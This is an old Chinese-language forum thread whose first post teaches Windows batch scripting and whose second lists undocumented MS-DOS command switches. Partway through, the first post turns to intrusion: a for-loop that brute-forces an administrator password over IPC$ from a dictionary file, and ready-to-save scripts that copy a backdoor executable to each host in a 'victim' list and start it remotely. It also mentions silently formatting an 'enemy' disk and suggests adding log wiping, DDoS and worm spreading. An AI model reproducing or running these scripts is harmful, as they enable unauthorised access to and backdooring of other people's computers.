史萊姆論壇

返回   史萊姆論壇 > 教學文件資料庫 > 應用軟體使用技術文件
忘記密碼?
論壇說明 標記討論區已讀

歡迎您來到『史萊姆論壇』 ^___^

您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的!

請點擊這裡:『註冊成為我們的一份子!』

Google 提供的廣告


 
 
主題工具 顯示模式
舊 2006-05-04, 08:41 AM   #1
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設 批次處理指令和解說

批次處理指令和解說

批次處理,說白了就是DOS操作。有人認為DOS操作過時了、落後了,其實不然。DOS操作最大的好處就在於快、不留痕。在許多時候,Windows操作是根本解決不了問題的,必須借助DOS操作。
  
必備常識:批次處理的編寫和修改

  開啟記事本,將要編寫的內容寫在裡面。在存為bat文件即可。修改也可以用記事本開啟進行修改。
  
批次處理運用一:掃瞄本機連接阜
  這個功能最佳化大師有,就是掃瞄哪個連接阜與internet連接和連接ip。這,為及時發現並攔截非法連接有著不可取代的功勞。
  然而,啟動最佳化大師太慢了,而且太煩了,不利於隨機使用。因此,編寫一個這樣的批次處理來解決問題就顯得尤為重要了。
  ************************************************************
  程式碼:
  netstat -n
  pause
  附:也可在每一行開頭新增「@」,這樣指令就不會顯示出來。
  ************************************************************
  
批次處理運用二:查一般病毒
  其實,對於上網的人來說,遇到病毒是在所難免的。然而,如果真的不幸感染,怎樣才能發現呢?難道真的要買昂貴的殺毒軟體嗎?不一定。
  我們可以編寫批次處理來查一些一般的網路病毒。如果驗證感染病毒,可以下載專用殺毒工具進行查殺,或採取其他途徑殺毒。
  下面,我以歡樂時光為例進行分析:
 
  主文件:1.bat
  其它文件:2.bat 3.bat
  ************************************************************
  1.bat程式碼:
  @if exist c:\folder.htt call 2.bat
  @if exist d:\folder.htt call 2.bat
  @if exist e:\folder.htt call 2.bat
  @if exist f:\folder.htt call 2.bat
  ************************************************************
  2.bat程式碼:
  @echo 發現歡樂時光病毒!
  @call 3.bat
  @pause
  ************************************************************
  3.bat程式碼:
  @c:
  @dir *.htt *.ini /s/a>1.txt
  @d:
  @dir *.htt *.ini /s/a>1.txt
  @e:
  @dir *.htt *.ini /s/a>1.txt
  ************************************************************
  這樣,如果中毒,那麼必定會存在大量folder.htt和Desktop.ini,通過這樣可以粗略的檢查電腦是否感染病毒。
  
批次處理運用三:文件處理

  假設,我要大規模的做文件的移動、移除等,如果在Windows裡操作不免會出現錯誤,而且這些錯誤不易察覺。因此,用批次處理進行操作,不但簡單易行,而且容易發現錯誤並可以及時改正。
  例如,我要將D碟的htm文件移動到E碟,再格式化D碟,然後將文件移回D碟,並改後面為html。
  ************************************************************
  1.bat程式碼:
  @E:
  @Md d
  @D:
  @Copy *.htm e:\d
  @if exist e:\d\*.htm call 2.bat
  ************************************************************
  2.bat程式碼:
  @Format d:/q
  @Copy e:\d\*.htm d:
  @D:
  @Ren *.htm *.html
  ************************************************************
  從例子中,可以看出,如果一旦出現問題,是很容易被發現的。從而,也證明了批次處理的可用性。
  關於批次處理的運用,可以說博大精深,變化莫測。希望大家能夠用DOS指令去最佳化它,這樣才能讓其更好的為我們服務。


批次處理指令


1.Echo 指令
開啟回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 指令將顯示當前回顯設定。
語法:echo [{on|off}] [message]
Sample:echo off / echo hello world
在實際套用中我們會把這條指令和重轉發IP符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些指令到特定格式的文件中.這將在以後的例子中體現出來。
2.@ 指令
表示不顯示@後面的指令,在入侵程序中(例如使用批次處理來格式化敵人的硬碟)自然不能讓對方看到你使用的指令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個指令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)
3.Goto 指令
指定跳轉到標籤,找到標籤後,程序將處理從下一行開始的指令。
語法:goto label (label是參數,指定所要轉向的批次處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這裡的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標籤的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標籤,goto指令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。
4.Rem 指令
註釋指令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個註釋的作用,便於別人閱讀和你自己日後修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 指令
執行 Pause 指令時,將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁牒上的所有文件均複製到d:\back中。顯示的註釋提示您將另一張磁牒放入驅動器 A 時,pause 指令會使程序掛起,以便您更換磁牒,然後按任意鍵繼續處理。
6.Call 指令
從一個批次處理程序使用另一個批次處理程序,並且不終止父批次處理程序。call 指令接受用作使用目標的標籤。如果在指令碼或批次處理文件外使用 Call,它將不會在指令行起作用。
語法:call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數:[Drive:}[Path] FileName
指定要使用的批次處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 副檔名。
7.start 指令
使用外部程序,所有的DOS指令和指令行程序都可以由start指令來使用。
入侵常用參數:
MIN 開始時視窗最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先等級類別開始應用程式
REALTIME 在 REALTIME 優先等級類別開始應用程式
WAIT 啟動應用程式並等候它結束
parameters 這些為傳送到指令/程序的參數
執行的應用程式是 32-位 GUI 應用程式時,CMD.EXE 不等應用程式終止就返回指令提示。如果在指令指令碼內執行,該新行為則不會發生。
8.choice 指令
choice 使用此指令可以讓用戶輸入一個字元,從而執行不同的指令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件執行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選項d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。

9.If 指令

if 表示將判斷是否符合規定的條件,從而決定執行不同的指令。 有三種格式:
1、if "參數" == "字元串" 待執行的指令

參數如果等於指定的字元串,則條件成立,執行指令,否則執行下一句。(注意是兩個等號)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 檔案名 待執行的指令
如果有指定的文件,則條件成立,執行指令,否則執行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 數位 待執行的指令
如果返回碼等於指定的數位,則條件成立,執行指令,否則執行下一句。
如if errorlevel 2 goto x2
DOS程序執行時都會返回一個數位給DOS,稱為錯誤碼errorlevel或稱返回碼,一般的返回碼為0、1。

10.for 指令

for 指令是一個比較複雜的指令,主要用於參數在指定的範圍內循環執行指令。
在批次處理文件中使用 FOR 指令時,指定變數請使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可取代的參數。
(set) 指定一個或一組文件。可以使用萬用字元。
command 指定對每個文件執行的指令。
command-parameters 為特定指令指定參數或指令行開關。
在批次處理文件中使用 FOR 指令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I
如果指令副檔名被啟用,下列額外的 FOR 指令格式會受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含萬用字元,則指定與目錄名匹配,而不與文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄,則使用當前
目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。
FOR /L %variable IN (start,step,end) DO command [command-para
該集表示以增量形式從開始到結束的一個數位序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 選項:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 為一個或多個檔案名。繼續到 filenameset 中的
下一個文件之前,每份文件都已被開啟、讀取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行
解析成零或更多的符號。然後用已找到的符號字元串變數值
使用 For 循環。以預設方式,/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 "options"
參數替代預設解析操作。這個帶引號的字元串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:
eol=c - 指一個行註釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個取代了空格和跳格鍵的
預設分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳送到每個迭代
的 for 本身。這會導致額外變數名稱的
格式為一個範圍。通過 nth 符號指定 m
符號字元串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為指令執行一個後引號的字元串並且
引號字元為文字字元串指令並允許在 fi
中使用雙引號擴起檔案名稱。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將
每行中的第二個和第三個符號傳送給 for 程序體;用逗號和/或
空格定界符號。請注意,這個 for 程序體的語句引用 %i 來
取得第二個符號,引用 %j 來取得第三個符號,引用 %k
來取得第三個符號後的所有剩餘符號。對於帶有空格的文件
名,您需要用雙引號將檔案名括起來。為了用這種方式來使
用雙引號,您還需要使用 usebackq 選項,否則,雙引號會
被理解成是用作定義某個要分析的字元串的。
%i 專門在 for 語句中得到說明,%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號,只要不試圖說明一個高於字母 z 或
Z 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的;
同時不能有 52 個以上都在使用中。
您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,
用單引號將括號之間的 filenameset 括起來。這樣,該字元
串會被當作一個文件中的一個單一輸入行。
最後,您可以用 FOR /F 指令來分析指令的輸出。方法是,將
括號之間的 filenameset 變成一個反括字元串。該字元串會
被當作指令行,傳送到一個子 CMD.EXE,其輸出會被抓進
記憶體,並被當作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
會枚舉當前環境中的環境變數名稱。
另外,FOR 變數參照的取代已被增強。您現在可以使用下列
選項語法:
~I - 移除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個檔案名
%~xI - 僅將 %I 擴充到一個文件副檔名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件內容
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 搜尋列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變數
未被定義,或者沒有找到文件,此組合鍵會擴充
空字元串
可以組合修飾符來得到多重結果:
%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個檔案名和副檔名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 搜尋列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR
在以上例子中,%I 和 PATH 可用其他有效數值替代。%~ 語法
用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名
比較易讀,而且避免與不分大小寫的組合鍵混淆。
以上是MS的官方說明 ,下面我們舉幾個例子來具體說明一下For指令在入侵中的用途。
sample2:
利用For指令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。
最主要的指令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 指令來連接。然後將程序執行結果傳送給find指令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":指令成功完成">>D:\ok.txt ,這樣就ko了。
sample3:
你有沒有過手裡有大量目標物等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很鬱悶:)。文章開頭就談到使用批次處理文件,可以簡化日常或重複性工作。那麼如何實現呢?哈哈,看下去你就會明白了。
主要指令也只有一條:(在批次處理文件中使用 FOR 指令時,指定變數使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這裡它表示按順序將victim.txt中的內容傳送給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use指令來建立IPC$連接,並copy木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這裡你也一定明白這victim.txt裡的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。
程式碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
這只是一個自動種植後門批次處理的雛形,兩個批次處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批次處理內容
尚可增強,例如:加入清除日誌+DDOS的功能,加入定時增加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.
__________________
http://bbsimg.qianlong.com/upload/01/08/29/68/1082968_1136014649812.gif
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
向 psac 送花的會員:
jal0707 (2006-11-13)
感謝您發表一篇好文章
舊 2006-05-08, 02:10 AM   #2 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

Dos未公開的指令與參數

Dos未公開的指令與參數

dos系統中有許多未公開的指令與參數。我經過收集整理,發現了很多。由於dos的有好幾種,所以下面僅以ms-dos為例,介紹一下常用指令中的未公開的指令與參數。經過比較,我發現在ms-dos的各版本中,7.x版中的未公開指令與參數是最多的,這些7.x版本中的未公開指令與參數在其它dos版本中通常是沒有的,但卻是非常實用的,例如command /z指令,這是用dos原有的的指令顯示errorlevel(錯誤返回程式碼)值的唯一方法(當然,用其它的附加工具,如err2env等也可以做到)。

dos未公開指令:

truename:用於顯示實際的路徑,對subst等指令很有用。
installhigh:用在config.sys中,將文件調入umb。
logo和comment:僅用在dos7中的config.sys中,用法未知。

dos未公開參數:

command /f 使fail作為abort,retry,fail中的預設選項。
command /d 在dos5中是禁止autoexec.bat自動執行;在6.0+版本中是禁止/f參數。
command /z 顯示errorlevel(錯誤返回程式碼)訊息。
command /t 在dos7.x中強制將command.com永久性調入一般記憶體。

format /autotest 自動完成格式化程序。
format /backup 自動完成格式化程序,並提示輸入卷冊。
format /select 只在磁牒上制作備份系統區資料,相當於mirror程序。
format /select /u 將啟始區和mbr用f6h填之。
format /z:n 設定fat32分區上的簇大小。

fdisk /mbr 重寫硬碟硬碟分區表。
fdisk /cmbr drive 重寫指定驅動器上的硬碟分區表。
fdisk /pri:size 新增主分區。
fdisk /ext:size 新增延展分區。
fdisk /log:size 在延展分區上新增邏輯磁碟機。
fdisk /prmt|/q 提示行動/安靜模式。
fdisk /partn 將分區表訊息儲存到partsav.fil中。
fdisk /actok 用於dos7中,跳過完整性測試。
fdisk /fprmt 用於dos7中,自動採用fat32,並跳過提示訊息。

doskey /appedit 使doskey也套用於其它程序(如debug等)中。
doskey /command和/permanent和/scrsize和/xhistory 用法未知。

scandisk /clip 用於dos7中,將長檔案名剪為短檔案名。
scandisk /nolost 用於dos7中,不提示表面測試或丟失掉簇。
scandisk /noui和/text 用於dos7中,使用標準的dos介面。
scandisk /mount 相當於scandisk.ini中的mount=always。
scandisk /time 相當於scandisk.ini中的scantimeout=on。

qbasic /qhelp 進入dos6的全螢幕幕說明 系統,相當於執行help指令。
qbasic /edcom 進入dos6的文件編輯器,相當於執行edit指令。

mem /a或mem /all 顯示hma訊息。

ver /r 顯示增強的版本訊息。

dir /z 用於dos7中,表示不顯示長檔案名。

dos=single 用在dos7中的config.sys中,啟動單一模式的dos。

device=himem.sys /q 當himem.sys載入時使用安靜模式。

device=emm386.exe notr 不要檢測token ring網路橋接器。

dos未公開用法:

if exist xmmxxxx0 ... 此指令可以判斷當前是否安裝了himem.sys驅動程式。
if exist emmxxxx0 ... 此指令則用來判斷當前是否安裝了emm386驅動程式。

dir , 用在dos7以前的版中中,顯示所有文件,相當於dir /a。

:: 此符號可在批次處理文件中替代rem註解指令,可以加快執行速度。

以上是ms-dos中的未公開指令與參數,其中有些是非常實用的,大家不妨一試。
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
向 psac 送花的會員:
jal0707 (2006-11-13)
感謝您發表一篇好文章
 


主題工具
顯示模式

發表規則
不可以發文
不可以回覆主題
不可以上傳附加檔案
不可以編輯您的文章

論壇啟用 BB 語法
論壇啟用 表情符號
論壇啟用 [IMG] 語法
論壇禁用 HTML 語法
Trackbacks are 禁用
Pingbacks are 禁用
Refbacks are 禁用


所有時間均為台北時間。現在的時間是 05:47 PM


Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2024, Jelsoft Enterprises Ltd.


SEO by vBSEO 3.6.1